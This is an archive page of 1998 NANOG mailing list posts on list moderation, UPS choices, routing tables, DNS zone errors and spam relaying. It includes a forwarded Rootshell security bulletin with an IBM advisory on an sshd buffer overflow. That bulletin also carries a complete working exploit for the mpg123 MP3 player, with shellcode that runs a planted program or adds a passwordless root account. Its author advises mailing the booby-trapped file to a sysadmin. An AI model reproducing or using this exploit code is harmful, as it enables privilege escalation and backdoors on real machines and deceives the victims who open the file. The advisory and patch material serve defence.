- Test - lists.nanog.org

Re: time for a new list?
by Dave Crocker 03 Nov '98

03 Nov '98

At 09:01 PM 11/2/98 -0600, Joe Shaw wrote: > >I think moderating the group might not be such a bad idea. The only >problem with this would be getting someone who had enough time to actually The constrained-posting approach might solve the dis-satisfactions that triggered this thread. However, let me suggest two, other approaches to consider. 1. This was pioneered by Harald Alvestrand, for the IETF main list, and seems to be quite successful. The premise to his approach is to run an unofficial, subsidiary list, off of the main, official one. On its face, it is just a distributor of the main list. Why subscribe to it? Well, the value-add is that he has filters in place, according to whatever rules he feels appropriate. What he feels appropriate, for the IETF list, is to filter out the common sources of "noise". Those subscribed to it seem satisfied with the results. The nice things about this approach are that 1) it doesn't create the massive burden that moderating does, and 2) it maintain utterly open participation for the official list and, therefore, doesn't run afoul of the usual expectations and requirements for open access to the official list. 2. This was pioneered by the "ORSC" folks who are active with the IANA re-working. I'm not happy with they way they are running their list, but the idea they are using strikes me as quite good: Create rules for acceptable conduct on the list. Create an arbitration panel to pass judgement when someone is claimed to violate those rules. When someone exceeds the limits in the rules, such as 3 rules violations, they can be banned from the list. d/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Dave Crocker Tel: +60 (19) 3299 445 <mailto:dcrocker@brandenburg.com> Post Office Box 296, U.P.M. Serdang, Selangor 43400 MALAYSIA Brandenburg Consulting <http://www.brandenburg.com> Tel: +1 (408) 246 8253 Fax: +1(408)273 6464 675 Spruce Dr., Sunnyvale, CA 94086 USA

1 0

What do you use for <5kVA UPSs?
by calemon＠uplink.on.ca 03 Nov '98

03 Nov '98

I was just wondering what some people are using for small (<5kVA) UPSs that are left in unmanned locations running critical network equipment (so management and monitoring are also critical). I'm curious about units in the 2, 3 and 5kVA ballparks since different solutions will be needed for these two different capacities. What vendors support 20A 120VAC outlets on their products? How reliable have your units been? Any comments on SNMP management? Thanks in advance, -- Craig A. Lemon, B.A.Sc. | WWW: http://www.net/~calemon/ VE3XCL (CL184) | amprNET: ve3xcl(a)ve3uow.ampr.org calemon(a)uplink.on.ca | PGP: http://www.net/~calemon/pgpkey.txt

1 0

Re: Linux Router KIT
by Paul Vixie 03 Nov '98

03 Nov '98

> > > I wonder how long 'netstat -rn' takes on *BSD with 54k routes. > > 6 seconds (output to /dev/null) on a Pentium something-or-other > > running BSD/OS 3.1. > How about 'netstat -rn | wc -l' [bgw1.pa:i386] head /var/db/dmesg.boot BSDI BSD/OS 3.1 Kernel #3: Sun Apr 26 10:03:00 PDT 1998 root@bb.rc.vix.com:/tmp_mnt/db/db2/proj/src/BSDI/3.1/sys/compile/VIXLADDR cpu = Pentium (about 200 MHz) model 2, stepping 12, type 0, features 1bf delay multiplier 5111 real mem = 134217728 (128.00 MB) avail mem = 129523712 (123.52 MB) buffer cache = 13258752 (12.64 MB) isa0 (root) pci0 at root: configuration mechanism 1 keyboard disconnected? (code fe) [bgw1.pa:i386] time sh -c 'netstat -rn | wc -l' 53217 4.047u 3.730s 0:07.71 100.7% 0+0k 0+3io 0pf+0w [bgw1.pa:i386] uptime 12:59PM up 120 days, 5:22, 2 users, load averages: 0.25, 0.16, 0.10 [bgw1.pa:i386] netstat -i Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll de0* 1500 <link1> 00:00:f8:23:92:dd 0 0 0 0 0 de1 1500 <link2> 00:c0:95:e0:1e:1c 454157833 0 3149262405 695 11267799 de1 1500 core-net.pa bgw1-core 454157833 0 3149262405 695 11267799 de2 1500 <link3> 00:c0:95:e0:1e:1d 54420576 0 14698905052 1458728 85038844 de2 1500 iana-net.pa bgw1-iana 54420576 0 14698905052 1458728 85038844 de3* 1500 <link4> 00:c0:95:e0:1e:1e 0 0 0 0 0 de4* 1500 <link5> 00:c0:95:e0:1e:1f 0 0 0 0 0 fpa0 4470 <link6> 00:00:f8:41:02:34 17887289596 0 90176835 0 0 fpa0 4470 net.ix.pa-x xfw1-paix 17887289596 0 90176835 0 0 lo0 1536 <link7> 154949 0 154949 0 0 lo0 1536 bgw1.pa.vix bgw1 154949 0 154949 0 0 lo0 1536 loopback-ne localhost 154949 0 154949 0 0 sl0* 308 <link8> 0 0 0 0 0 ppp0* 1500 <link9> 0 0 0 0 0 ppp1* 1500 <link10> 0 0 0 0 0 pif0* 576 <link11> 0 0 0 0 0 tun0* 1500 <link12> 0 0 0 0 0 tun1* 1500 <link13> 0 0 0 0 0 -- Paul Vixie <paul(a)vix.com>

2 1

Re: Despamming wholesale dialup
by Dean Anderson 03 Nov '98

03 Nov '98

You are so full of it. You are the one who takes every opportunity to talk about spam. I just debunk you every once in while when the sh*t gets too deep. You are the one who can be accused of "preaching". I'll note that "preaching" requires a religous belief unsupported by fact or reason. A "believer" must deny reality to have faith in something that one is not likely to obtain in their lifetime. I think that your unrealistic anti-spamming efforts fit that discription more than my revealing your fallacies does. Not only have you been proven wrong in your claims on spam costs, etc, as well as wrong about the relevant laws which might be applicable, but more importantly and more critical to a political movement of any kind, you have been proven wrong about the nature and capabilities of your political enemies. In short, you have been a complete fool, by any measure. So perhaps you can shut up now. --Dean At 10:17 PM 10/30/1998 -0500, Steven J. Sobol wrote: >On Fri, Oct 30, 1998 at 05:42:50PM -0500, Dean Anderson wrote: >> Give it a rest. You won't be stopping spam. Dream on if you like. > >I already said, at the beginning of the thread, that it's off-topic. > >But of course you jumped at the chance to start preaching again. As I >pointed out, and as Ray Everrett-Church also pointed out, you're wrong. >End of discussion, and I am not going to post anything further on this topic >to NANOG. > >-- >Steve Sobol [sjsobol(a)nacs.net] >Part-time Support Droid [support(a)nacs.net] >NACS Spaminator [abuse(a)nacs.net] > >Spotted on a bumper sticker: "Possum. The other white meat." > > > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Plain Aviation, Inc dean(a)av8.com LAN/WAN/UNIX/NT/TCPIP http://www.av8.com ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

4 3

internic.net zone not updating on noc.cerf.net
by Marc Slemko 02 Nov '98

02 Nov '98

(cc to nanog in case anyone is wondering why they are having sporadic problems reaching rs.internic.net...) $ dig internic.net soa @noc.cerf.net ; <<>> DiG 2.2 <<>> internic.net soa @noc.cerf.net ; (1 server found) ;; res options: init recurs defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10 ;; flags: qr aa rd ra; Ques: 1, Ans: 1, Auth: 5, Addit: 5 ;; QUESTIONS: ;; internic.net, type = SOA, class = IN ;; ANSWERS: internic.net. 86400 SOA ops.internic.net. markk.internic.net. ( 98103001 ; serial 3600 ; refresh (1 hour) 3600 ; retry (1 hour) 432000 ; expire (5 days) 86400 ) ; minimum (1 day) [...] All the other servers have 98104001. This is a problem because (one of) the changes made between those two revisions are to change rs.internic.net from having: rs.internic.net. 900 A 198.41.0.12 rs.internic.net. 900 A 198.41.0.13 rs.internic.net. 900 A 198.41.0.6 rs.internic.net. 900 A 198.41.0.7 rs.internic.net. 900 A 198.41.0.8 rs.internic.net. 900 A 198.41.0.9 to: rs.internic.net. 900 A 198.41.0.6 Currently, rs.internic.net doesn't resolve to a functioning host when a resolver asks noc.cerf.net for an answer, unless it happens to pick .6 out of the list. It has been this way for at least a few hours and since the refresh is 1h... people will see intermittent problems reaching rs.internic.net Of course, right now whois seems hosed anyway, but...: $ whois internic.net Registrant: $

2 1

[rootshell] Security Bulletin #25
by Kit Knox 02 Nov '98

02 Nov '98

As this conversation has carried over to NANOG this should be of interest. -- Kit Knox <kit(a)connectnet.com> Senior System Administrator - CONNECTnet INS, Inc. www.rootshell.com Security Bulletin #25 November 1st, 1998 [ http://www.rootshell.com/ ] ---------------------------------------------------------------------- To unsubscribe from this mailing list send e-mail to majordomo(a)rootshell.com with "unsubscribe announce" in the BODY of the message. Send submissions to info(a)rootshell.com. Messages sent will not be sent to other members on this list unless it is featured in a security bulletin. An archive of this list is available at : http://www.rootshell.com/mailinglist-archive ---------------------------------------------------------------------- Contents -------- 01. ssh 1.2.26 vulnerability 02. mpg123-0.59k buffer overflow with exploit 01. ssh 1.2.26 vulnerability ---------------------------- As most of you are aware, the Rootshell site was compromised on October 28th. In order to keep the integrity of our investigation we have been fairly closed-lipped about this incident until now. This has led to widespread rumors and speculation by netizens who have zero first hand knowledge about the break-in. Some people now believe that we had no evidence of an ssh break-in. SSH Communications Security Ltd. even went as far as saying they have analyzed the Rootshell logs, etc. Unless they have broken into our network this is not possible. We at Rootshell believe they are now simply in damage control mode and nothing else. Since the very beginning, Rootshell has been working very closely with the folks at CERT, and the members of law enforcement to track down the individuals responsible for the Rootshell break-in. As the ssh issue has been a very sensitive topic we have avoided making any statements until we were sure about anything one way or the other. The *ONLY* thing Rootshell has ever said in public about SSH until now has been "The paranoid MAY want to disable ssh 1.2.26." In order to show the type of evidence Rootshell has received at this point, below you will find a draft that IBM was intending to release on Monday about SSH. They appear to have jumped the gun slightly and do not have working exploit code, but have found possible buffer overflows in the ssh 1.2.26 code. Rootshell has also received further reports of exploit code going around in various circles. SSH Communications Security Ltd. has evaluated this bulletin and now believes it is actually not a problem. Rootshell will continue its investigation of this matter as well as other security issues and will make this information public as soon as possible. I hope that this bulletin will at the very least put an end to the wild speculation that this was a hoax, or that we are just in the business of making wild accusations. Please see http://www.ssh.fi/sshprotocols2/rootshell.html for their "analysis" of events. It is sad that we had to learn of this URL from Slashdot.org instead of SSH directly. They appear to have some serious communications dificuilties. Both Rootshell and CERT were met with unanswered phones at SSH Communications Security Ltd. and Data Fellows when we attempted to research this matter. Perhaps after this incident they can work on correcting these issues. SSH is a trademark of SSH Communications Security Ltd. All rights reserved. [ end rant ] --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 30 October 1998 18:00 GMT Number: ERS-SVA-E01-1998:005.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: Buffer overflow condition in "sshd" logging facility PLATFORMS: Versions of SSH up to and including SSH 1.2.26. SSH 2.0.x is *not* believed to be vulnerable. SOLUTION: Follow the procedures described in Section IV, below THREAT: Local and remote users can obtain privileged access to the system. =============================================================================== DETAILED INFORMATION I. Description SSH (Secure Shell) is software that allows users to log into other computers over a network, execute commands on remote systems, and move files from one host to another. It provides strong authentication and secure (encrypted) communications over insecure channels. SSH is produced by SSH Communications Security, Ltd., Finland (www.ssh.fi) SSH is distributed for non-commercial use from ftp://ftp.cs.hut.fi/pub/ssh; commercial licensing is handled by Data Fellows, Ltd. (www.datafellows.com) The IBM Global Security Analysis Laboratory has identified a buffer overflow vulnerability in the SSH server program, "sshd." The "log_msg" function, called by several parts of the server program to send information to the system log, copies user-supplied data into a local buffer without checking that the data will fit. Several other similar logging, debug, and error functions perform this operation as well. When a large amount of data is supplied, a buffer overrun condition will occur. II. Impact If a user is able to exploit this vulnerability to create a buffer overrun, it may be possible for the user to supply machine-language program instructions that will then be executed with the privileges of the user running the "sshd" program, usually the super-user. This vulnerability can be exploited by local and remote users. The person exploiting the vulnerability does not need to have an account on the machine running "sshd" to succeed. III. Platform-Specific Threats This vulnerability affects recent (and perhaps older) 1.2.x versions of the "sshd" server. The current 1.2.x version of the server is 1.2.26. It is believed that the 2.0.x versions of the "sshd" server do not contain this vulnerability. The current 2.0.x version of the server is 2.0.9. IV. Solutions IBM-ERS has provided the information it has developed about this vulnerability to SSH Communications Security, Ltd, and anticipates that a new versions of SSH 1.2.x that fixes this vulnerability will be available soon. When this new version becomes available, IBM-ERS urges all sites to upgrade their SSH servers to the new release as quickly as possible. In the meantime, however, IBM-ERS and the IBM GSAL have developed the three following specific actions that you can take to address this vulnerability. Option 1: Operate the "sshd" program with the "-q" option turned on. Note that this will disable the logging functions normally performed. This may be undesirable in some situations. Option 2: If possible, upgrade to version 2.0.x of SSH. This version supports a newer, more capable version of the SSH protocol and offers additional features. Option 3: Follow the procedure below to patch the SSH 1.2.26 source code to address this vulnerability in a manner similar to the way the SSH 2.0.x source code addresses it. NOTE: This procedure should only be attempted by persons familiar with installing the SSH software from source code. 1. Obtain the source code distributions for SSH 1.2.26 and SSH 2.0.9 from ftp://ftp.cs.hut.fi/pub/ssh or Data Fellows, Ltd. Be sure to observe all licensing requirements. 2. Copy the following files lib/sshutil/snprintf.h lib/sshutil/snprintf.c from the SSH 2.0.9 directory to the SSH 1.2.26 directory (put them at the top level, do not reproduce the subdirectories). 3. Edit "Makefile.in" in the SSH 1.2.26 directory and add the word "snprintf.o" to the "COMMON_OBJS" and "SCP_OBJS" definitions. Also add the word "snprintf.h" to the "HEADERS" definition. 4. Edit the files "log-server.c," "packet.c," and "scp.c" in the SSH 1.2.26 directory and do the following: a. Add the line #include "snprintf.h" near the top of each file with the rest of the "#include" lines. b. Locate all occurrences of vsprintf(buf, fmt, args); in each file and replace them with vsnprintf(buf, sizeof(buf), fmt, args); There are six (6) occurrences in "log-server.c," two (2) in "packet.c," and one (1) in "scp.c". 5. Edit "snprintf.h" and change the line #include "sshincludes.h" to read #include "includes.h" Also delete the two occurrences of the word "DLLEXPORT." 6. Edit "snprintf.c" and change the line #include "sshincludes.h" to read #include "includes.h" Also replace the one occurrence of "ssh_xmalloc" with "xmalloc", and the two occurrences of "ssh_xfree" with "xfree". 7. Read the instructions in the "INSTALL" file in the SSH 1.2.26 directory to build and install the modifications made above. IBM-ERS and IBM GSAL have carefully examined the SSH 1.2.26 source code, and tested these steps on a production "sshd" server. No ill effects have been observed. However, because it is impossible to anticipate all possible environments in which SSH is used, the following disclaimer applies to the procedures above: THESE PROCEDURES ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES OF MERCHANTIBILITY OR FITNESS FOR A PARTICULAR PURPOSE. THIS ADVISORY DOES NOT CREATE OR IMPLY ANY SUPPORT OBLIGATIONS OR ANY OTHER LIABILITY ON THE PART OF IBM OR ITS SUBSIDIARIES. V. Acknowledgements IBM-ERS would like to thank Alan and Art at the IBM Global Security Analysis Laboratory for their work in identifying this problem. SSH and Secure Shell are trademarks or registered trademarks of SSH Communications Security Ltd. =============================================================================== IBM's Internet Emergency Response Service (IBM-ERS) is a subscription-based Internet security response service that includes computer security incident response and management, regular electronic verification of your Internet gateway(s), and security vulnerability alerts similar to this one that are tailored to your specific computing environment. By acting as an extension of your own internal security staff, IBM-ERS's team of Internet security experts helps you quickly detect and respond to attacks and exposures across your Internet connection(s). As a part of IBM's Business Recovery Services organization, the IBM Internet Emergency Response Service is a component of IBM's SecureWay(tm) line of security products and services. From hardware to software to consulting, SecureWay solutions can give you the assurance and expertise you need to protect your valuable business resources. To find out more about the IBM Internet Emergency Response Service, send an electronic mail message to ers-sales(a)vnet.ibm.com, or call 1-800-742-2493 (Prompt 4). IBM-ERS maintains a site on the World Wide Web at http://www.ers.ibm.com/. Visit the site for information about the service, copies of security alerts, team contact information, and other items. IBM-ERS uses Pretty Good Privacy* (PGP*) as the digital signature mechanism for security vulnerability alerts and other distributed information. The IBM-ERS PGP* public key is available from http://www.ers.ibm.com/team-info/pgpkey.html. "Pretty Good Privacy" and "PGP" are trademarks of Philip Zimmermann. IBM-ERS is a Member Team of the Forum of Incident Response and Security Teams (FIRST), a global organization established to foster cooperation and response coordination among computer security teams worldwide. Copyright 1998 International Business Machines Corporation. The information in this document is provided as a service to customers of the IBM Emergency Response Service. Neither International Business Machines Corporation, nor any of its employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, complete- ness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by IBM or its subsidiaries. The views and opinions of authors expressed herein do not necessarily state or reflect those of IBM or its subsidiaries, and may not be used for advertising or product endorsement purposes. The material in this security alert may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to IBM-ERS. This security alert may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- 02. mpg123-0.59k buffer overflow with exploit --------------------------------------------- >From na98jen(a)student.hig.se Sun Nov 1 12:31:44 1998 Date: Sun, 1 Nov 1998 12:56:37 +0100 (MET) From: Joel Eriksson <na98jen(a)student.hig.se> To: submission(a)rootshell.com Subject: mpg123-0.59k bufferoverflow. More info in my Bugtraq-posting... Here I'll just include the stuff for the sCr1p+-k1dD13z. This will create a 56 bytes MP3 that executes /tmp/.x which could for example be a program that checks the UID and if run by root creates a new account / SUID-shell / installs backdoors / whatever, and if run by a user adds entries to their .rhosts or something.. I have included a 93 bytes buffer with machinecode to create a new root-account on the system which I planned to read in and jmp to with the 48 bytes we can use in the overflow. Have not had the time to fix some problems with this method though, so you'll have to satisfy with this if you don't want to code it yourself. For those who haven't figured that out yet you'll have to get someone to try to listen to the damn thing too. :-) (I say this in the comments to the src to, but noone seems to read those damn comments anyway so..) You could for example mail the file to other users / the sysadmin, or just have it in /tmp or your homedir and wait 'til someone gets curious.. --- mp3exp.c START [cut here] /* ** Exploit for mpg123-0.59k, Linux x86. ** --- calcaddr.sh START #!/bin/sh perl -e 'print "RIFF" . "A"x56'>bof.mp3 mpg123 bof.mp3 2> /dev/null echo info all-registers \ |gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}' rm -f bof.mp3 --- calcaddr.sh END ** ** Give the address shown by calcaddr.sh as the first argument to ** this exploit, and it will handle the rest.. (e.g. subtract 0x4C ** from the address given) OBS! If you do what the script does manually ** you will not get the same result. Then CALCOFFSET should be 0x34 instead. ** ** mpg123-0.59o is not vulnerable, previous versions not checked. ** ** DESCRIPTION: ** ** Makes an MP3-file that executes a program when played with mpg123-0.59k. ** Will be more useful when I have succeded in making it add an account, ** the problem is that we only have 48 bytes to work with and my code ** to add a new account takes 93 bytes. ** ** For those who have not understood that yet, the trick is too get ** *someone*else* to play the MP3 using mpg123. You could for example ** mail the file to the sysadmin or just have it in /tmp and name it ** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-) ** ** Plan: In the 48 bytes I can put my code I'll make a routine that ** just allocates a buffer, reads in the 93 bytes required to add ** an account and jmp's to the beginning of the code. ** ** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet. ** ** Disclaimer: This program is for informational purposes only. ** I can not be held responsible for any use or misuse ** of this program. And so on, the usual stuff.. */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <limits.h> #define ADDRLEN 4 #define DEFAULT_OFFSET -0x88; #define CALCOFFSET -0x4C /* ** When the address is calculated in a subshell (e.g. using the script ** included with this sourcecode) the offset is -0x4C, but when it is ** calculated manually in the lowest shell-level the offset is -0x34. */ #define MP3NAME "bof.mp3" const char FILLCHAR = '.'; /* ** Standard shellcode, made by Aleph One, published in Phrack #49 ** Modified to execute /tmp/.x instead of /bin/sh. ** ** /tmp/.x could for example add an account, create a SUID-root shell ** or if run by an ordinary user add an entry to their .rhosts, create ** a SUID-user shell or something else that seems like a good idea. */ char shellcode[] = "\xeb\x1f" // jmp 0x1f "\x5e" // popl %esi "\x89\x76\x08" // movl %esi,0x8(%esi) "\x31\xc0" // xorl %eax,%eax "\x88\x46\x07" // movb %al,0x7(%esi) "\x89\x46\x0c" // movl %eax,0xc(%esi) "\xb0\x0b" // movb $0xb,%al "\x89\xf3" // movl %esi,%ebx "\x8d\x4e\x08" // leal 0x8(%esi),%ecx "\x8d\x56\x0c" // leal 0xc(%esi),%edx "\xcd\x80" // int $0x80 "\x31\xdb" // xorl %ebx,%ebx "\x89\xd8" // movl %ebx,%eax "\x40" // inc %eax "\xcd\x80" // int $0x80 "\xe8\xdc\xff\xff\xff" // call -0x24 "/tmp/.x"; // .string "/bin/sh" // 46 bytes /* ** To execute something else than /tmp/.x just change the last string, ** but remember that it must be a 7 bytes string. It's possible to ** change the shellcode to execute a command with a longer path than ** 7 bytes by changing the offsets from %esi, which is not too hard ** if you know some assembler. */ /* ** Code to add user to passwd-file, made by me. Not used in this ** particular exploit yet, but ideally it'd be read in and executed ** by the 48 bytes that I have used to execute a shell in this exploit. ** This way the exploit becomes more interesting since it can be exploited ** remotely. We need to do some stackprediction though.. ** ** If someone makes an exploit that uses this code, make sure to include ** me in the greetings. */ char addusercode[] = "\xeb\x3d" // jmp 0x3d "\x5e" // popl %esi "\x89\x76\x1a" // movl %esi,0x1a(%esi) "\x31\xc0" // xorl %eax,%eax "\x88\x46\x0b" // movb %al,0x0b(%esi) "\x83\xc6\x0c" // addl $0x0c,%esi "\x89\x76\x12" // movl %esi,0x12(%esi) "\x83\xee\x0c" // subl $0x0c,%esi "\x31\xc0" // xorl %eax,%eax "\x88\x46\x19" // movb %al,0x19(%esi) "\x8b\x5e\x1a" // movl 0x1a(%esi),%ebx "\x31\xc9" // xorl %ecx,%ecx "\xb5\x04" // movb $0x4,%ch "\xb1\x01" // movb $0x1,%cl "\x31\xc0" // xorl %eax,%eax "\xb0\x05" // movb $0x5,%al "\xcd\x80" // int $0x80 "\x89\xc3" // movl %eax,%ebx "\x8b\x4e\x1e" // movl 0x1e(%esi),%ecx "\x31\xd2" // xorl %edx,%edx "\xb2\x0d" // movb $13,%edx "\x31\xc0" // xorl %eax,%eax "\xb0\x04" // movb $0x4,%al "\xcd\x80" // int $0x80 "\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xb0\x01" // movb $0x1,%al "\xcd\x80" // int $0x80 "\xe8\xbe\xff\xff\xff" // call -0x46 "/etc/passwd." // .string "/etc/passwd" "r00t::0:0:::\x0a"; // .string "r00t::0:0:::\n" // 93 bytes unsigned long getsp() { __asm("mov %esp, %eax"); } int main(int argc, char **argv) { unsigned long addr; char *addr_ptr = (char*)&addr; int fd, i; char *filename = MP3NAME; addr = getsp() + DEFAULT_OFFSET; if(argc > 1) { /* ** This is UGLY coding. :-) strtol() overflows for some reason ** when just doing one strtol() on argv[1]. */ char *strptr = argv[1]; char *numptr; char cur[3]; char temp; int i; memset(addr_ptr, 0, ADDRLEN); memset(cur, 0, 3); if(!strncmp(strptr, "0x", 2)) strptr += 2; for(i=0; i<ADDRLEN; i++, strptr+=2) { strncpy(cur, strptr, 2); numptr = (char*)&addr_ptr[(ADDRLEN-1)-i]; *numptr = strtol(cur, (char**)NULL, 16) & 0xFF; } addr += CALCOFFSET; } else { fprintf(stderr, "Warning: Returnaddress may not be accurate.\n"); fprintf(stderr, "Use calcaddr.sh (included) to be more precise.\n\n"); } if(argc > 2) filename = argv[2]; if(argc > 3) { fprintf(stderr, "Usage: %s [<address>] [<filename>]\n", argv[0]); exit(1); } if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1) { perror("open"); fprintf(stderr, "Could not create %s\n", filename); exit(1); } printf("Using address: 0x%lx\n", addr); write(fd, "RIFF", 4); write(fd, shellcode, strlen(shellcode)); for(i=0; i<48-strlen(shellcode); i++) write(fd, &FILLCHAR, 1); for(i=0; i<4; i++) write(fd, &addr_ptr[i], 1); printf("\nMP3 created in %s.\n", filename); exit(0); } -- mp3exp.c END [cut here] ---------------------------------------------------------------------- To unsubscribe from this mailing list send e-mail to majordomo(a)rootshell.com with "unsubscribe announce" in the BODY of the message. Send submissions to info(a)rootshell.com. Messages sent will not be sent to other members on this list unless it is featured in a security bulletin. An archive of this list is available at : http://www.rootshell.com/mailinglist-archive ----------------------------------------------------------------------

3 2

Re: Rootshell pages hacked
by Adam D. McKenna 02 Nov '98

02 Nov '98

They claim they were running only qmail, apache and ssh, but who knows if that's true. I have heard rumours about an ssh exploit but nothing concrete. --Adam -----Original Message----- From: Joe Shaw <jshaw(a)insync.net> To: JR Mayberry <rick(a)magpage.com> Cc: neil <neil(a)junior.uwc.ac.za>; Russ Haynal <russ(a)navigators.com>; nanog(a)merit.edu <nanog(a)merit.edu> Date: Thursday, October 29, 1998 2:36 PM Subject: Re: Rootshell pages hacked I thought they were runnign qmail? Joe On Thu, 29 Oct 1998, JR Mayberry wrote: > Supposedly sendmail 8.9.1 is to blame, not ssh. > http://www.sendmail.com/sendmail.8.9.1a.html

9 8

Despamming wholesale dialup
by Harold Willison 02 Nov '98

02 Nov '98

Greetings, Let me explain the situation and see if I can get anyone to tell me how they are handling it. We are offering wholesale dialup ports. When a user connects he is authenticated and can do whatever it is he/she wants to do on the net. Unfortuantely some have decided that they will relay spam off of other servers. To address this i have proposed installing filters that will only allow these folks to connect to port 25 of the ISP that has bought the ports. This way they are not able to relay off of anyone elses machine that is using port 25 and the buyer of the ports should have the correct measures set up to prevent bulk mail from going out. Will this be sufficient, providing that the server they are allowed to connect to has set up his mail server to prevent massmailing..? Suggestions/comments? *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | Harold Willison AGIS Network Engineering | * Senior Network Engineer 313-730-5151 * | noc(a)agis.net 313-730-1130 x-5649 | | harold(a)agis.net 24 hours a day, 7 days a week | | <bold><italic> <underline>http://www.agis.net</underline></italic></bold> |<bold><italic> </italic></bold>\*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*/

7 11

routing table in backbone router
by Yixin Jin 02 Nov '98

02 Nov '98

Hi, Does anybody know where I can get routing tables used in backbone routers? I'd like to see how address prefixes look like and don't care about AS. Thanks in advance. Yixin Jin UCLA, Computer Science Dept.

1 0

Re: Rootshell pages hacked
by John Hawkinson 02 Nov '98

02 Nov '98

This thread has the typical "useless thread on NANOG" problem. It attepts to be tangentially relevent but really it just is not. Certainly, the initial thought -- to communicate that www.rootshell.com was compromised -- was not relevent to north american network operators. Next, a discussion of what it means to be secure, and of course this wasn't relevent for NANOG either, but some well-meaning competant individuals got roped in, presumably in the hope that the discussion would terminate. After all, a little bit of off-topic discussion is fine and useful -- if we tried to find the right mailing list for absolutely *everything*, no one would ever get anything done. But we went long past that point. Discussion of compromises in application programs (ssh), even ones widely used in the network community, is not very appropriate for NANOG either. We could discuss compromises every time Sun released a security patch, or every time rootshell.com posted an exploit -- we'd have more traffic than bugtraq (not hard, it's a moderated list...)! The latest stuff about ftping through SSH tunnels just kicks the bucket even further, beneath the lower standard of conduct to which some of us hold NANOG (because the community seems to be comprised of a more-childish and less-responsible set of individuals than most other communities, so it's foolhardy to try and hold it to high standards). Please try not to dignify any of the traffic in this thread with a reply. If you really feel that your commentary is useful and relevent, please direct it to the authors in private email. Similarly, if you feel a burning need to know the resolution of an issue raised by some individual, please send them private email and I'm sure they'll be happy to forward you the relevent discourse they've received, or direct you to a venue more suited for the discussion. I, for one, am disgusted, but you already knew that. --jhawk

1 0